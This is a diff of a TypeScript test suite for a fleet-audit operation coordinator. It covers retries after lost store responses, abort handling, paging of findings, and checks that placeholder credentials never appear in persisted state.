+ * transport cannot distinguish from a lost request. One-shot, so the retry + * that follows meets an ordinary store. + */ + loseCommitProgressResponse: Error | undefined; #rowsKey(operationId: string, rowKind: FleetOperationRowKind): string { return `${operationId}:${rowKind}`; @@ -766,7 +850,13 @@ class FakeOperationStore implements FleetOperationStore { return this.heads.get(op.kind) === operationId ? op : undefined; }, stageRows: async (input) => this.#stageRows(input), - commitProgress: async (input) => this.#commitProgress(input), + commitProgress: async (input) => { + const committed = await this.#commitProgress(input); + const lost = this.loseCommitProgressResponse; + if (lost === undefined) return committed; + this.loseCommitProgressResponse = undefined; + throw lost; + }, finalizeOperation: async (input) => this.#finalizeOperation(input), failOperation: async (input) => this.#failOperation(input), }; @@ -781,6 +871,11 @@ class FakeOperationStore implements FleetOperationStore { operationId: string, ): Promise { this.readOperationByIdCalls += 1; + const hook = this.onNextReadOperationById; + if (hook !== undefined) { + this.onNextReadOperationById = undefined; + hook(); + } if (this.probeMiss.has(operationId)) { this.probeMiss.delete(operationId); return undefined; @@ -879,9 +974,12 @@ class FakeOperationStore implements FleetOperationStore { } = input; const rows = this.#validatedRows(inputRows); const updateRows = this.#validatedRows(inputUpdateRows); - if (rows.length + updateRows.length + 1 > 100) { + if ( + rows.length + updateRows.length + 1 > + FLEET_OPERATION_STAGE_BATCH_STATEMENTS + ) { throw new Error( - 'commitProgress exceeds the operation batch budget of 100 statements', + `commitProgress exceeds the operation batch budget of ${FLEET_OPERATION_STAGE_BATCH_STATEMENTS} statements`, ); } const current = this.operations.get(operationId); @@ -1281,6 +1379,70 @@ async function startAndDrive( return driveToTerminal(harness, started.token); } +/** The token of a result the caller has already asserted is `pending`. */ +function expectPendingToken( + result: FleetAuditAdvanceResult, +): PendingFleetAuditAdvance['token'] { + if (result.status !== 'pending') { + throw new Error(`expected a pending result, got '${result.status}'`); + } + return result.token; +} + +/** + * Runs the whole-fleet drain over `harness`'s resolvers against a FRESH state + * store built from `records` — never the harness's own store, which a bounded + * run may already have re-armed. + * + * `staleAfterMs` and `now` are pinned here because every call site passed the + * same two values. That freezes the DRAIN's clock only: a title comparing the + * two paths under the §5.5 equivalence scope also has to freeze the bounded + * path's, which it does through `buildHarness`. + */ +function drainWith( + harness: Harness, + world: Readonly<{ + records: readonly FleetRecord[]; + inventory: FleetResourceInventory; + }>, +): Promise { + return auditFleetDrift({ + store: new FakeFleetStateStore(world.records), + records: world.records, + inventory: world.inventory, + backendFor: () => harness.backend, + specFor: (record) => + harness.specByTenant.get(record.tenantTag) as DeploymentSpec, + maintenanceSecretFor: (record) => + harness.secretByTenant.get(record.tenantTag) as string, + staleAfterMs: STALE_AFTER_MS, + now: AUDIT_NOW, + }); +} + +/** + * One INTAKE PREFLIGHT refusal case. Every case drives a single `start` and + * asserts the same two things — the fixed refusal message, and that the + * harness did no work beyond `coordination` — so only the fixture, the + * injected clock, the message and the coordination vary. + * + * `records` BUILDS the fixture and pins whatever properties make the case's + * refusal the only one it can trip; it runs inside the test, so it may + * assert, and a fixture costing megabytes is never built during collection. + */ +interface PreflightRefusalCase { + readonly name: string; + /** The fleet the harness starts from; the inventory is derived from it. */ + readonly fleet: readonly FleetRecord[]; + readonly operationId: string; + readonly records: () => readonly FleetRecord[]; + readonly generation?: number; + readonly auditClock?: () => number; + readonly message: string; + /** Omitted where the refusal precedes the lease entirely. */ + readonly coordination?: Parameters[1]; +} + // --------------------------------------------------------------------------- // Tests // --------------------------------------------------------------------------- @@ -1296,9 +1458,6 @@ describe('advanceFleetAudit', () => { }, }); const events: string[] = []; - const originalStart = harness.operationStore.withAccountOperationLease.bind( - harness.operationStore, - ); // Instrument: record when the row exists (created) vs when the pin lands. const originalPinGeneration = harness.inventoryStore.pinGeneration.bind( harness.inventoryStore, @@ -1311,7 +1470,6 @@ describe('advanceFleetAudit', () => { ); return originalPinGeneration(input); }; - void originalStart; const operationId = uuidFor(1); const result = await advanceFleetAudit( harness.baseOptions({ @@ -1327,7 +1485,7 @@ describe('advanceFleetAudit', () => { const persisted = await harness.operationStore.readOperationById(operationId); expect(persisted).toBeDefined(); - const progress = persisted?.progress as FleetAuditProgress; + const progress = fleetAuditProgressFromUnknown(persisted?.progress); expect(progress.auditTimeMs).toBe(AUDIT_NOW); expect(progress.staleAfterMs).toBe(STALE_AFTER_MS); if (result.status !== 'pending') throw new Error('unreachable'); @@ -1358,10 +1516,7 @@ describe('advanceFleetAudit', () => { expect(started.status).toBe('pending'); // Real time moves far past staleAfterMs before the per-record stage runs. clock = AUDIT_NOW + 10 * STALE_AFTER_MS; - const result = await driveToTerminal( - harness, - started.status === 'pending' ? started.token : undefined, - ); + const result = await driveToTerminal(harness, expectPendingToken(started)); expect(result.status).toBe('complete'); const page = await readFleetAuditFindingsPage(harness.operationStore, { operationId, @@ -1387,15 +1542,27 @@ describe('advanceFleetAudit', () => { const first = await advanceFleetAudit(harness.baseOptions(action)); expect(first.status).toBe('pending'); expect(harness.inventoryStore.latestFinalizedGenerationCalls).toBe(1); + // §11 says `latestFinalizedGeneration` is "instrumented to fail the + // test if invoked". The store cannot recognise a replay by itself, so the + // trap is armed HERE — once this title's single legitimate call has + // returned — and stays armed for the rest of it. Every later call below + // (two continues, `driveToTerminal`, the terminal replay, the cross-kind + // refusal) resolves its generation from the PERSISTED record, so any hit + // on this seam is the re-read the title exists to forbid. The call-count + // assertions stay as belt-and-braces. + harness.inventoryStore.latestFinalizedGenerationError = new Error( + 'latestFinalizedGeneration must not be called once the operation exists', + ); const rowCountBefore = harness.operationStore.rows.get( `${operationId}:record`, )?.length; const second = await advanceFleetAudit(harness.baseOptions(action)); expect(second.status).toBe('pending'); - if (first.status === 'pending' && second.status === 'pending') { - expect(second.token).toEqual(first.token); - expect(second.stage).toEqual(first.stage); + if (first.status !== 'pending' || second.status !== 'pending') { + throw new Error('unreachable'); } + expect(second.token).toEqual(first.token); + expect(second.stage).toEqual(first.stage); expect(harness.inventoryStore.latestFinalizedGenerationCalls).toBe(1); expect( harness.operationStore.rows.get(`${operationId}:record`)?.length, @@ -1406,7 +1573,6 @@ describe('advanceFleetAudit', () => { ).length, ).toBe(2); - if (second.status !== 'pending') throw new Error('unreachable'); const continuedOnce = await advanceFleetAudit( harness.baseOptions({ kind: 'continue', token: second.token }), ); @@ -1522,7 +1688,9 @@ describe('advanceFleetAudit', () => { expect(first.status).toBe('pending'); const persisted1 = await harness.operationStore.readOperationById(operationId); - const generation1 = (persisted1?.progress as FleetAuditProgress).generation; + const generation1 = fleetAuditProgressFromUnknown( + persisted1?.progress, + ).generation; expect(generation1).toBe(1); // A newer generation finalizes. @@ -1537,7 +1705,9 @@ describe('advanceFleetAudit', () => { expect(replay.status).toBe('pending'); const persisted2 = await harness.operationStore.readOperationById(operationId); - expect((persisted2?.progress as FleetAuditProgress).generation).toBe(1); + expect(fleetAuditProgressFromUnknown(persisted2?.progress).generation).toBe( + 1, + ); expect(harness.inventoryStore.pins.slice(pinsBeforeReplay)).toEqual([ { generation: 1, pinnedBy: `fleet-audit:${operationId}` }, ]); @@ -1865,7 +2035,9 @@ describe('advanceFleetAudit', () => { staleAfterMs: STALE_AFTER_MS, }), ), - ).rejects.toThrow(/at most 10000 records/); + ).rejects.toThrow( + `fleet audit start accepts at most ${FLEET_OPERATION_ITEM_BOUND} records`, + ); }); it('intake byte-bound refusal at start', async () => { @@ -2213,17 +2385,9 @@ describe('advanceFleetAudit', () => { auditClock: () => AUDIT_NOW, authorityClock: () => AUDIT_NOW, }); - const drainFindings = await auditFleetDrift({ - store: new FakeFleetStateStore([first, second]), + const drainFindings = await drainWith(harness, { records: [first, second], inventory, - backendFor: () => harness.backend, - specFor: (record) => - harness.specByTenant.get(record.tenantTag) as DeploymentSpec, - maintenanceSecretFor: (record) => - harness.secretByTenant.get(record.tenantTag) as string, - staleAfterMs: STALE_AFTER_MS, - now: AUDIT_NOW, }); const operationId = uuidFor(26); await startAndDrive(harness, operationId, [first, second]); @@ -2267,10 +2431,7 @@ describe('advanceFleetAudit', () => { ); expect(started.status).toBe('pending'); harness.inventoryStore.unreadableGenerations.add(1); - const result = await driveToTerminal( - harness, - started.status === 'pending' ? started.token : undefined, - ); + const result = await driveToTerminal(harness, expectPendingToken(started)); expect(result.status).toBe('failed'); if (result.status === 'failed') { expect(result.failure.reason).toBe('generation-unavailable'); @@ -2336,7 +2497,7 @@ describe('advanceFleetAudit', () => { expect(harness.operationStore.heads.has('audit')).toBe(false); }); - it('abandonFleetAuditOperation: running → operator-abandoned + pin released; terminal → releases any surviving pin', async () => { + it('abandonFleetAuditOperation: running → operator-abandoned + pin released; terminal → releases any surviving pin with no state change', async () => { const alice = baseRecord('alice'); const harness = buildHarness([alice], inventoryFor([alice])); const operationId = uuidFor(29); @@ -2357,9 +2518,9 @@ describe('advanceFleetAudit', () => { const abandoned = await harness.operationStore.readOperationById(operationId); expect(abandoned?.state).toBe('failed'); - expect((abandoned?.progress as FleetAuditProgress).failure?.reason).toBe( - 'operator-abandoned', - ); + expect( + fleetAuditProgressFromUnknown(abandoned?.progress).failure?.reason, + ).toBe('operator-abandoned'); expect( harness.inventoryStore.releasedPins.some( (pin) => pin.pinnedBy === `fleet-audit:${operationId}`, @@ -2395,10 +2556,7 @@ describe('advanceFleetAudit', () => { ); expect(started.status).toBe('pending'); harness.inventoryStore.unreadableGenerations.add(1); - const failed = await driveToTerminal( - harness, - started.status === 'pending' ? started.token : undefined, - ); + const failed = await driveToTerminal(harness, expectPendingToken(started)); expect(failed.status).toBe('failed'); if (failed.status !== 'failed') throw new Error('unreachable'); const opsBefore = harness.opsLog.length; @@ -2409,7 +2567,7 @@ describe('advanceFleetAudit', () => { expect(harness.opsLog.length).toBe(opsBefore); }); - it('findings page: running refusal; failed operation readable; no inventory-store interaction', async () => { + it('findings page: running refusal; failed operation readable; no inventory-store interaction; a reverse-ordinal page still yields the drain order, and the next-cursor idiom pages the whole set', async () => { const alice = baseRecord('alice'); const harness = buildHarness([alice], inventoryFor([alice])); const operationId = uuidFor(31); @@ -2430,10 +2588,7 @@ describe('advanceFleetAudit', () => { ).rejects.toThrow(`fleet audit operation '${operationId}' is not terminal`); harness.inventoryStore.unreadableGenerations.add(1); - const failed = await driveToTerminal( - harness, - started.status === 'pending' ? started.token : undefined, - ); + const failed = await driveToTerminal(harness, expectPendingToken(started)); expect(failed.status).toBe('failed'); const page = await readFleetAuditFindingsPage(harness.operationStore, { operationId, @@ -2475,21 +2630,19 @@ describe('advanceFleetAudit', () => { { operationId: orderedOperationId, limit: 1_000 }, ); expect(ascending.done).toBe(true); - expect(ascending.findings.length).toBeGreaterThanOrEqual(3); - const reversedStore = new Proxy(orderedHarness.operationStore, { - get(target, property, receiver) { - if (property === 'readOperationRowsPage') { - return async ( - input: Parameters[0], - ) => { - const rowsPage = await target.readOperationRowsPage(input); - return { ...rowsPage, rows: [...rowsPage.rows].reverse() }; - }; - } - const value = Reflect.get(target, property, receiver); - return typeof value === 'function' ? value.bind(target) : value; - }, - }); + // EXACT, not a floor: this world produces one `orphan-deployment` for + // the injected ghost, one `missing-deployment` and one + // `missing-namespace` for each of the two records absent from the + // inventory, and one `maintenance-stale` for `control28` (this title + // injects no clock, so `HEALTHY_MAINTENANCE`'s sweep timestamps are long + // past by wall-clock time). A floor would keep the reversed-store + // comparison below non-vacuous while letting the world drift underneath + // it; the count is what that comparison actually rests on. + expect(ascending.findings.length).toBe(6); + const reversedStore = pageTransformingStore( + orderedHarness.operationStore, + (rowsPage) => ({ ...rowsPage, rows: [...rowsPage.rows].reverse() }), + ); await expect( readFleetAuditFindingsPage(reversedStore, { operationId: orderedOperationId, @@ -2529,7 +2682,7 @@ describe('advanceFleetAudit', () => { expect(paged).toEqual(ascending.findings); }); - it('findings page: the reader verifies page conformance instead of trusting the store, and returns the next cursor off the page rows', async () => { + it('findings page: the reader verifies page conformance instead of trusting the store, accepts the two other port-permitted shapes — a non-final page shorter than the limit, and an arbitrary permutation — and returns the next cursor off the page rows', async () => { const control = baseRecord('control29'); const missingA = baseRecord('missing29a'); const missingB = baseRecord('missing29b'); @@ -2544,7 +2697,12 @@ describe('advanceFleetAudit', () => { { operationId, limit: 1_000 }, ); expect(conforming.done).toBe(true); - expect(conforming.findings.length).toBeGreaterThanOrEqual(3); + // EXACT, not a floor: the same shape as the preceding title's world + // minus its injected ghost deployment — one `missing-deployment` and one + // `missing-namespace` per absent record, plus `control29`'s + // `maintenance-stale`. Every case below slices or reorders this page, so + // its length is the world they all rest on. + expect(conforming.findings.length).toBe(5); // The cursor is read off the page's own rows, so a caller never recomputes // it from the prose formula. A full first page ends at length - 1. This // pins one full page's value only; the paging loop at the end of the @@ -2552,34 +2710,22 @@ describe('advanceFleetAudit', () => { // recomputed formula. expect(conforming.nextAfterOrdinal).toBe(conforming.findings.length - 1); - // Each case below returns a page the port forbids; every one must reach - // `malformed()` rather than a truncated, duplicated, or non-terminating read. - const nonConforming = ( + // Shapes a page the store would not have produced. The refusal cases + // below return pages the port FORBIDS, and every one must reach + // `malformed()` rather than a truncated, duplicated, or non-terminating + // read; the two acceptance cases after them return pages the port PERMITS + // and nothing else pinned. + const shapedPage = ( transform: ( rows: readonly FleetOperationStagedRow[], ) => readonly FleetOperationStagedRow[], done?: boolean, ) => - new Proxy(harness.operationStore, { - get(target, property, receiver) { - if (property === 'readOperationRowsPage') { - return async ( - input: Parameters< - FleetOperationStore['readOperationRowsPage'] - >[0], - ) => { - const rowsPage = await target.readOperationRowsPage(input); - return { - ...rowsPage, - rows: transform(rowsPage.rows), - done: done ?? rowsPage.done, - }; - }; - } - const value = Reflect.get(target, property, receiver); - return typeof value === 'function' ? value.bind(target) : value; - }, - }); + pageTransformingStore(harness.operationStore, (rowsPage) => ({ + ...rowsPage, + rows: transform(rowsPage.rows), + done: done ?? rowsPage.done, + })); const malformedMessage = 'fleet operation state is malformed'; // EMPTY-PAGE GUARD: an empty page while the store still claims more rows is @@ -2587,7 +2733,7 @@ describe('advanceFleetAudit', () => { // guard the published next-cursor loop spins forever against such a store. await expect( readFleetAuditFindingsPage( - nonConforming(() => [], false), + shapedPage(() => [], false), { operationId, limit: 1_000, @@ -2598,7 +2744,7 @@ describe('advanceFleetAudit', () => { // CONTIGUOUS-RUN GUARD, gap: ordinal 1 withheld. await expect( readFleetAuditFindingsPage( - nonConforming((rows) => rows.filter((row) => row.ordinal !== 1)), + shapedPage((rows) => rows.filter((row) => row.ordinal !== 1)), { operationId, limit: 1_000 }, ), ).rejects.toThrow(malformedMessage); @@ -2607,7 +2753,7 @@ describe('advanceFleetAudit', () => { // right, so only the run assertion catches it. await expect( readFleetAuditFindingsPage( - nonConforming((rows) => [...rows.slice(0, -1), ...rows.slice(0, 1)]), + shapedPage((rows) => [...rows.slice(0, -1), ...rows.slice(0, 1)]), { operationId, limit: 1_000 }, ), ).rejects.toThrow(malformedMessage); @@ -2616,7 +2762,7 @@ describe('advanceFleetAudit', () => { // skipped ordinal 0 instead of returning it first. await expect( readFleetAuditFindingsPage( - nonConforming((rows) => rows.filter((row) => row.ordinal !== 0)), + shapedPage((rows) => rows.filter((row) => row.ordinal !== 0)), { operationId, limit: 1_000 }, ), ).rejects.toThrow(malformedMessage); @@ -2624,13 +2770,38 @@ describe('advanceFleetAudit', () => { // CONTIGUOUS-RUN GUARD, row at or below the exclusive cursor. await expect( readFleetAuditFindingsPage( - nonConforming((rows) => + shapedPage((rows) => rows.map((row) => ({ ...row, ordinal: row.ordinal - 1 })), ), { operationId, afterOrdinal: 0, limit: 1_000 }, ), ).rejects.toThrow(malformedMessage); + // PORT-PERMITTED SHAPE, a non-final page SHORTER than `limit`. The reader + // refuses only an EMPTY unfinished page, never a short one, so this page + // is legal and must come back with its cursor. The `done: false` ARM is + // already driven by the preceding title's `limit: 2` paging loop — but + // only ever by FULL pages; nothing until here accepts a short one, which + // is the shape the advance-by-length idiom most depends on. + const shortNonFinal = await readFleetAuditFindingsPage( + shapedPage((rows) => rows.slice(0, 1), false), + { operationId, limit: 1_000 }, + ); + expect(shortNonFinal.done).toBe(false); + expect(shortNonFinal.findings).toEqual(conforming.findings.slice(0, 1)); + expect(shortNonFinal.nextAfterOrdinal).toBe(0); + + // PORT-PERMITTED SHAPE, an ARBITRARY permutation. The reader sorts before + // it checks contiguity, so every order the port permits is accepted — not + // just the reversal the preceding title uses. A left rotation of the five + // findings this world holds is neither ascending nor descending. + await expect( + readFleetAuditFindingsPage( + shapedPage((rows) => [...rows.slice(1), ...rows.slice(0, 1)]), + { operationId, limit: 1_000 }, + ), + ).resolves.toEqual(conforming); + // A conforming empty page is legal only because it is terminal, and it // carries no cursor: that absence is why the field must stay optional. const emptyHarness = buildHarness([], emptyInventory()); @@ -2680,18 +2851,7 @@ describe('advanceFleetAudit', () => { authorityClock: () => AUDIT_NOW, }); - const drainFindings = await auditFleetDrift({ - store: new FakeFleetStateStore(records) as unknown as FleetStateStore, - records, - inventory, - backendFor: () => harness.backend, - specFor: (record) => - harness.specByTenant.get(record.tenantTag) as DeploymentSpec, - maintenanceSecretFor: (record) => - harness.secretByTenant.get(record.tenantTag) as string, - staleAfterMs: STALE_AFTER_MS, - now: AUDIT_NOW, - }); + const drainFindings = await drainWith(harness, { records, inventory }); const operationId = uuidFor(32); const result = await startAndDrive(harness, operationId, records); @@ -2816,18 +2976,7 @@ describe('advanceFleetAudit', () => { auditClock: () => AUDIT_NOW, authorityClock: () => AUDIT_NOW, }); - const drainFindings = await auditFleetDrift({ - store: new FakeFleetStateStore(records) as unknown as FleetStateStore, - records, - inventory, - backendFor: () => harness.backend, - specFor: (record) => - harness.specByTenant.get(record.tenantTag) as DeploymentSpec, - maintenanceSecretFor: (record) => - harness.secretByTenant.get(record.tenantTag) as string, - staleAfterMs: STALE_AFTER_MS, - now: AUDIT_NOW, - }); + const drainFindings = await drainWith(harness, { records, inventory }); const operationId = uuidFor(34); await startAndDrive(harness, operationId, records); const page = await readFleetAuditFindingsPage(harness.operationStore, { @@ -2868,7 +3017,7 @@ describe('advanceFleetAudit', () => { }), ); expect(started.status).toBe('pending'); - let token = started.status === 'pending' ? started.token : undefined; + let token = expectPendingToken(started); const stages: string[] = []; for (let i = 0; i < 20; i++) { const result = await advanceFleetAudit( @@ -2901,22 +3050,72 @@ describe('advanceFleetAudit', () => { const alice = baseRecord('alice'); const harness = buildHarness([alice], inventoryFor([alice])); const operationId = uuidFor(37); - const action: FleetAuditAdvanceAction = { - kind: 'start', - operationId, - records: [alice], - staleAfterMs: STALE_AFTER_MS, - }; - const first = await advanceFleetAudit(harness.baseOptions(action)); - expect(first.status).toBe('pending'); - // Replay the exact same start call: its revision-1 commit has already - // landed, so the replay must converge via the byte-identical read - // rather than throwing a conflict. - const second = await advanceFleetAudit(harness.baseOptions(action)); - expect(second.status).toBe('pending'); - if (first.status === 'pending' && second.status === 'pending') { - expect(second.token).toEqual(first.token); - } + const started = await advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId, + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + ); + expect(started.status).toBe('pending'); + const startedToken = expectPendingToken(started); + + // The loss has to land on a CONTINUE. On the START path the revision-1 + // commit sits inside a catch-all that reads the operation back, so a + // durably-applied-then-thrown response there produces an ordinary + // `pending` and proves nothing about the discriminator; start-replay + // convergence (same token, no duplicate rows) is the start-replay + // title's own subject and stays pinned there. The continue-path commits + // carry no such catch, so the throw propagates while the write stands — + // exactly a lost response. + const lostResponse = new Error( + 'fleet operation store lost the commitProgress response', + ); + harness.operationStore.loseCommitProgressResponse = lostResponse; + const rowsBeforeLoss = structuredClone([...harness.operationStore.rows]); + await expect( + advanceFleetAudit( + harness.baseOptions({ kind: 'continue', token: startedToken }), + ), + ).rejects.toBe(lostResponse); + + // The write LANDED: the operation is still running, its pin still held, + // and its persisted revision is one past the token the caller holds. + const persisted = + await harness.operationStore.readOperationById(operationId); + expect(persisted?.state).toBe('running'); + const persistedProgress = fleetAuditProgressFromUnknown( + persisted?.progress, + ); + expect(persistedProgress.revision).toBe(startedToken.revision + 1); + expect( + harness.inventoryStore.releasedPins.some( + (pin) => pin.pinnedBy === `fleet-audit:${operationId}`, + ), + ).toBe(false); + + // The retry replays the SAME token. `classifyFleetOperationToken` reads it + // as `stale` against the advanced persisted revision — the revision + // discriminator — so the caller converges on the authoritative result + // instead of re-running the chunk. + const retried = await advanceFleetAudit( + harness.baseOptions({ kind: 'continue', token: startedToken }), + ); + expect(retried.status).toBe('pending'); + const retriedToken = expectPendingToken(retried); + expect(retriedToken).toEqual({ + ...startedToken, + revision: persistedProgress.revision, + }); + expect(retried).toEqual({ + status: 'pending', + token: retriedToken, + stage: persistedProgress.stage, + }); + + // …and it staged nothing: convergence, not a second application. + expect([...harness.operationStore.rows]).toEqual(rowsBeforeLoss); }); it('the abort signal is call-local and never persisted', async () => { @@ -2936,11 +3135,23 @@ describe('advanceFleetAudit', () => { ); const persisted = await harness.operationStore.readOperationById(operationId); + // A near-unfalsifiable assertion, kept deliberately. The first title in + // this file reads the persisted progress through + // `fleetAuditProgressFromUnknown`, whose exact-key assertion already + // rejects any extra field, so a `signal` landing in `progress` is caught + // there. This is a byte SCAN over the whole run record rather than a shape + // check on one field, which is the half no shape assertion makes: it also + // catches the option arriving under some other key, or nested inside a + // value. It is the load-bearing half of the call-local claim. expect(JSON.stringify(persisted)).not.toContain('signal'); expect(result.status).toBe('pending'); + // An explicit abort reason, so the refusal is pinned by IDENTITY rather + // than by "something threw": the coordinator must propagate the caller's + // own reason out of `signal.throwIfAborted()` untouched. + const abortReason = new Error('fleet audit aborted by the caller'); const abortedController = new AbortController(); - abortedController.abort(); + abortedController.abort(abortReason); const abortedHarness = buildHarness([alice], inventoryFor([alice]), { signal: abortedController.signal, }); @@ -2953,10 +3164,79 @@ describe('advanceFleetAudit', () => { staleAfterMs: STALE_AFTER_MS, }), ), - ).rejects.toThrow(); + ).rejects.toBe(abortReason); expectZeroHarnessWork(abortedHarness); }); + it("the abort signal is re-checked INSIDE a per-record call: an abort landing after the fact-row read refuses with the caller's own reason, does no provider work, and leaves the operation running at its revision", async () => { + const alice = baseRecord('midrecordabort'); + const controller = new AbortController(); + const harness = buildHarness([alice], inventoryFor([alice]), { + signal: controller.signal, + }); + const operationId = uuidFor(92); + const started = await advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId, + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + ); + expect(started.status).toBe('pending'); + const atPerRecord = await driveToStage( + harness, + expectPendingToken(started), + 'per-record', + ); + + // The coordinator re-checks the signal INSIDE the per-record chunk, after + // it has read the accumulated fact rows and before it calls the record + // step. Aborting from the fact read is what lands the abort in that + // window: the entry check has already passed, so a refusal here can only + // come from the mid-record checkpoint. + const abortReason = new Error('fleet audit aborted mid per-record call'); + const readOperationRowsPage = + harness.operationStore.readOperationRowsPage.bind(harness.operationStore); + harness.operationStore.readOperationRowsPage = async ( + input: RowsPageInput, + ) => { + const page = await readOperationRowsPage(input); + if (input.rowKind === 'fact') controller.abort(abortReason); + return page; + }; + + const opsBefore = harness.opsLog.length; + const factReadsBefore = + harness.operationStore.rowPageReadCounts.get('fact') ?? 0; + const rowsBefore = structuredClone([...harness.operationStore.rows]); + const persistedBefore = fleetAuditProgressFromUnknown( + (await harness.operationStore.readOperationById(operationId))?.progress, + ); + await expect( + advanceFleetAudit( + harness.baseOptions({ kind: 'continue', token: atPerRecord.token }), + ), + ).rejects.toBe(abortReason); + harness.operationStore.readOperationRowsPage = readOperationRowsPage; + + // The call got PAST the entry check — it read fact rows — and stopped + // before any resolver or provider work. + expect( + harness.operationStore.rowPageReadCounts.get('fact') ?? 0, + ).toBeGreaterThan(factReadsBefore); + expect(harness.opsLog.length).toBe(opsBefore); + expect(harness.fleetStore.ops).toEqual([]); + expect([...harness.operationStore.rows]).toEqual(rowsBefore); + const persistedAfter = + await harness.operationStore.readOperationById(operationId); + expect(persistedAfter?.state).toBe('running'); + expect(fleetAuditProgressFromUnknown(persistedAfter?.progress)).toEqual( + persistedBefore, + ); + expect(harness.inventoryStore.releasedPins).toEqual([]); + }); + it('byte scan: no secret value, Authorization bytes, or bearer token outside record rows', async () => { const alice = baseRecord('bytescan'); const records = [alice]; @@ -2966,13 +3246,43 @@ describe('advanceFleetAudit', () => { 'bytescan', 'Bearer super-secret-credential-value', ); + // The `Authorization` half of the scan is vacuous unless some + // provider-sourced text actually carries those bytes into the call. This + // duty error does: the maintenance-stale template names the failed attempt + // and its timestamp and NEVER the provider's own error string, so the scan + // below has something real to refute. + const sweepError = 'Authorization: Bearer leaked-provider-header'; + harness.liveByTenant.set( + 'bytescan', + cleanLiveDeployment(alice, { + maintenance: { + ...HEALTHY_MAINTENANCE, + lastSweepAttemptAt: AUDIT_NOW - 1_000, + lastSweepError: sweepError, + }, + }), + ); const operationId = uuidFor(40); await startAndDrive(harness, operationId, records); + const page = await readFleetAuditFindingsPage(harness.operationStore, { + operationId, + limit: 100, + }); + const maintenanceFinding = page.findings.find( + (finding) => + finding.tenantTag === 'bytescan' && + finding.kind === 'maintenance-stale', + ); + expect(maintenanceFinding).toBeDefined(); + expect(maintenanceFinding?.detail).toContain( + `sweep last attempt failed at ${AUDIT_NOW - 1_000}`, + ); const expectNoSensitiveBytes = (value: unknown): void => { const text = JSON.stringify(value).toLowerCase(); expect(text).not.toContain('bearer'); expect(text).not.toContain('authorization'); expect(text).not.toContain('super-secret-credential-value'); + expect(text).not.toContain('leaked-provider-header'); }; for (const [key, rows] of harness.operationStore.rows) { const [, rowKind] = key.split(':'); @@ -3007,7 +3317,10 @@ describe('advanceFleetAudit', () => { artifactVersion: 'v1', schemaVersion: 1, }); - const harness = buildHarness(records, inventory); + const harness = buildHarness(records, inventory, { + auditClock: () => AUDIT_NOW, + authorityClock: () => AUDIT_NOW, + }); const operationId = uuidFor(41); await startAndDrive(harness, operationId, records); const page = await readFleetAuditFindingsPage(harness.operationStore, { @@ -3023,18 +3336,7 @@ describe('advanceFleetAudit', () => { "finding detail withheld: unsafe bytes (kind 'orphan-deployment')", ); - const drainFindings = await auditFleetDrift({ - store: new FakeFleetStateStore(records) as unknown as FleetStateStore, - records, - inventory, - backendFor: () => harness.backend, - specFor: (record) => - harness.specByTenant.get(record.tenantTag) as DeploymentSpec, - maintenanceSecretFor: (record) => - harness.secretByTenant.get(record.tenantTag) as string, - staleAfterMs: STALE_AFTER_MS, - now: AUDIT_NOW, - }); + const drainFindings = await drainWith(harness, { records, inventory }); const drainOrphan = drainFindings.find( (finding) => finding.kind === 'orphan-deployment' && @@ -3043,7 +3345,7 @@ describe('advanceFleetAudit', () => { expect(drainOrphan?.detail).toContain(hostileScriptName); }); - it('concurrent-mutation drift (class (c), both halves)', async () => { + it('concurrent-mutation drift (class (c), both halves): a migration Fleet mutation trips the reread refusal while a Fleet-silent ready-path step does not; and a provider-truth mutation between audit start and the bounded per-record call yields the drifted inspection finding, asserted against what a start-time drain produced', async () => { const drifted = baseRecord('driftmaint'); const silent = baseRecord('silentmaint'); const providerDrifted = baseRecord('providerdrift'); @@ -3061,17 +3363,9 @@ describe('advanceFleetAudit', () => { 'silentmaint', cleanLiveDeployment(silent, { maintenance: UNARMED_MAINTENANCE }), ); - const startTimeDrainFindings = await auditFleetDrift({ - store: new FakeFleetStateStore(records) as unknown as FleetStateStore, + const startTimeDrainFindings = await drainWith(harness, { records, inventory, - backendFor: () => harness.backend, - specFor: (record) => - harness.specByTenant.get(record.tenantTag) as DeploymentSpec, - maintenanceSecretFor: (record) => - harness.secretByTenant.get(record.tenantTag) as string, - staleAfterMs: STALE_AFTER_MS, - now: AUDIT_NOW, }); const operationId = uuidFor(42); const started = await advanceFleetAudit( @@ -3135,7 +3429,7 @@ describe('advanceFleetAudit', () => { ).toBe(false); }); - it('maxItemsPerCall range refusal (0 and 2,001 refused; 1 and 2,000 accepted; default 500 observed)', async () => { + it('maxItemsPerCall range refusal (0 and 2,001 refused with the fixed message; 1 and 2,000 accepted; default 500 observed)', async () => { const alice = baseRecord('alice'); const harness = buildHarness([alice], inventoryFor([alice])); await expect( @@ -3299,11 +3593,14 @@ describe('advanceFleetAudit', () => { // R4-A: “prune releases the audit pin FIRST; the crash window leaves an unpinned terminal operation the next call deletes”. }); - it('a multi-duty maintenance-stale finding persists the templates-only joined detail with no lastError bytes anywhere; the drain emits legacyDetails[i] byte-identically', async () => { + it("a multi-duty maintenance-stale finding (≥2 failing duties + the not-armed marker, raw bytes mid-string, including an empty-string lastError producing legacy's trailing ': ') persists the templates-only joined detail with no lastError bytes anywhere; the drain emits legacyDetails[i] byte-identically", async () => { const record = baseRecord('multiduty', { updatedAt: FRESH_UPDATED_AT }); const records = [record]; const inventory = inventoryFor(records); - const harness = buildHarness(records, inventory); + const harness = buildHarness(records, inventory, { + auditClock: () => AUDIT_NOW, + authorityClock: () => AUDIT_NOW, + }); const liveMaintenance: MaintenanceHealth = { armed: false, nextAlarmAt: null, @@ -3329,20 +3626,7 @@ describe('advanceFleetAudit', () => { `maintenance scheduler is not armed; sweep last attempt failed at ${AUDIT_NOW - 1_000}; purge last attempt failed at ${AUDIT_NOW - 2_000}`, ); - const drainStore = new FakeFleetStateStore( - records, - ) as unknown as FleetStateStore; - const drainFindings = await auditFleetDrift({ - store: drainStore, - records, - inventory, - backendFor: () => harness.backend, - specFor: (r) => harness.specByTenant.get(r.tenantTag) as DeploymentSpec, - maintenanceSecretFor: (r) => - harness.secretByTenant.get(r.tenantTag) as string, - staleAfterMs: STALE_AFTER_MS, - now: AUDIT_NOW, - }); + const drainFindings = await drainWith(harness, { records, inventory }); const drainFinding = drainFindings.find( (f) => f.kind === 'maintenance-stale', ); @@ -3420,7 +3704,7 